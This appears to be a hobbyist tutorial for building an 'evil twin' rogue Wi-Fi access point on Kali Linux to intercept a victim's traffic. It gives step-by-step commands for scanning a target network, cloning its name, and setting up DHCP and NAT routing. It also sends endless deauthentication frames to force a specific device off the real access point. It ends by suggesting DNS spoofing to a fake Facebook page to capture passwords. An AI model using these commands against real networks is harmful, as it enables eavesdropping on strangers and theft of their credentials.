How To: Set Up an Eviltwin

When I tried to set up an eviltwin for a MitM-constelation in kali 2.0, I couldn't provide internet to the victim. The origin was the brctl bridging. I have read many tutorials but all of them where explained in backtrack and older versions of kali. So i was searching for a solution without using brctl and this solution will be explained now. This will just work on unencrypted wireless-environments.

Step 1: Sniff the Air

First victims AP information must be observerd

set wifi-adpater in monitor mode

there are two options to do so, I prefer this commands

"ifconfig wlan0 down"
"iwconfig wlan0 mode monitor"
"ifconfig wlan0 up"

this is the second one

"airmon-ng start wlan0"

if you have trouble with this type "airmon-ng check" and maybe kill some of the PIDS, but be aware not to kill your network connection.

airmon-ng will rename your wlan0 to wlan0mon so consider this in the following parts of the howto.

If monitor mode is enabled start checking the air for the APs sending their beacons.

airodump-ng wlan0

The last command will provide you with useful information to set up the fake-AP.

• BSSID of the real AP
• channel of the real AP
• encryption of the real AP
• ESSID of the real AP

We pick the one with the ESSID wireless because this is an unencrypted AP. We can guess that this is a hotspot or a very careless user.

• BSSID 64:7C:34:92:2B:41
• Channel 2
• no encryption
• ESSID wireless

No we start a more specific airodump to get more overview

"airodump-ng --bssid 64:7C:34:92:2B:41 -c 2 wlan0"

we can see in the last line that there is already connected a device to this AP. The device has the MAC F8:01:13:4A:BA:D7

Let this terminal open and the airodump running.

Step 2: Set Up DHCP-Server

To provide our fake-AP with internet connection we have to set up an DHCP-server to configure the fake-AP with an IP-address and subnet.

prove if isc-dhcp-server is already installed

open a new Terminal

"dpkg -s isc-dhcp-server | grep Status"

if not

"apt-get install isc-dhcp-server"

No we have to configure the dhcpd.conf

"gedit /etc/dhcp/dhcpd.conf"

add this lines to the bottom

default-lease-time 600;
max-lease-time 7200;
subnet 192.168.2.0 netmask 255.255.255.0
{
option subnet-mask 255.255.255.0;
option broadcast-address 192.168.2.255;
option domain-name-servers 8.8.8.8;
option routers 192.168.2.1;
range 192.168.2.20 192.168.2.60;
}

(please TAB the lines between the brackets)

the lease times set the time validity of the shared IP's.

subnet and the netmask set the net: 192.168.2.0 - 192.168.2.255 for our fake AP. the option domain-name-servers 8.8.8.8 set the DNS from google the rest of them are self explaining.

save the file

Step 3: Create the Eviltwin

no type in the second terminal

"airbase-ng -e wireless -c 2 wlan0"

here we have created the eviltwin-AP. I don't changed the BSSID, just the ESSID.

for completeness:
to change even the BSSID and not just the ESSID type

"airbase-ng -e wireless -a 64:7C:34:92:2B:41 -c 2 wlan0"

but for this attack is it not really necessary and just confuse while monitoring the results.

so here we started the eviltwin-AP and it has the BSSID C4:E9:84:0D:9C:FA

to monitor the connections we open a third terminal and type

"airodump-ng --bssid C4:E9:84:0D:9C:FA -c 2 wlan0"

Term1: monitors the real-AP
Term2: runs the fake-AP
Term3: monitors the fake-AP

Step 4: Provide Internet to the Eviltwin

airbase provide us with a new network-interface while it is running.

"ifconfig at0"

should show you some results now

so we bring it up

"ifconfig at0 up"
"ifconfig at0 192.168.2.1 netmask 255.255.255.0"

now start the dhcp-server

here the server will be started with the edited dhcpd.conf
"dhcpd -cf /etc/dhcp/dhcpd.conf "

to be sure the file is load correctly

"service isc-dhcp-server restart"

wrong ip-address in this picture, should be 192.168.2.1

Step 5: Configure Your Firewall

last step before we go

just type this commands

iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD -j ACCEPT --in-interface at0
echo 1 > /proc/sys/net/ipv4/ipforward

They will configure your firewall to route all traffic from at0 to eth0.
The last command say to your networkcard: "act like a router and forward all traffic to his destination"

Step 6: Shoot Down the Connection

open a fourth terminal and send deauthenticate frames to the device which sticks on the real-AP.

"aireplay-ng --deauth 0 -a 64:7C:34:92:2B:41 -c F8:01:13:4A:BA:D7 wlan0"

--deauth 0 means that the frames will sending in an endless loop
(or till we have the connection we want to)
-a defines the BSSID of the AP
-c defines the MAC of the device we want to observe

we just shot down a specific device to avoid to much attention on network-flutter.

the result

no we can can listen to all traffic of the device.

Step 7: Conclusion

These steps seems complicated for this kind of wifi-hack. When you write a script for dhcp-server starting and flushing it won't take more than 2 minutes to set up this attack. Theoretically you can write a script for the whole setup.

The profit of this attack should also be clear. When I heard of this attack my first question was: "When it's unencrypted anyway why should I conduct this attack and not just sitting in a good radius to the victim".

Benefit 1 is that this device now get provided the IP-address over our DHCP-server so we are in the same network...our network. (injection and so on).

Benefit 2 you can expand this attack to set up DNS-Spoofing. So the victim get redirect to a fake-Facebook site and we grab his password.

and so on...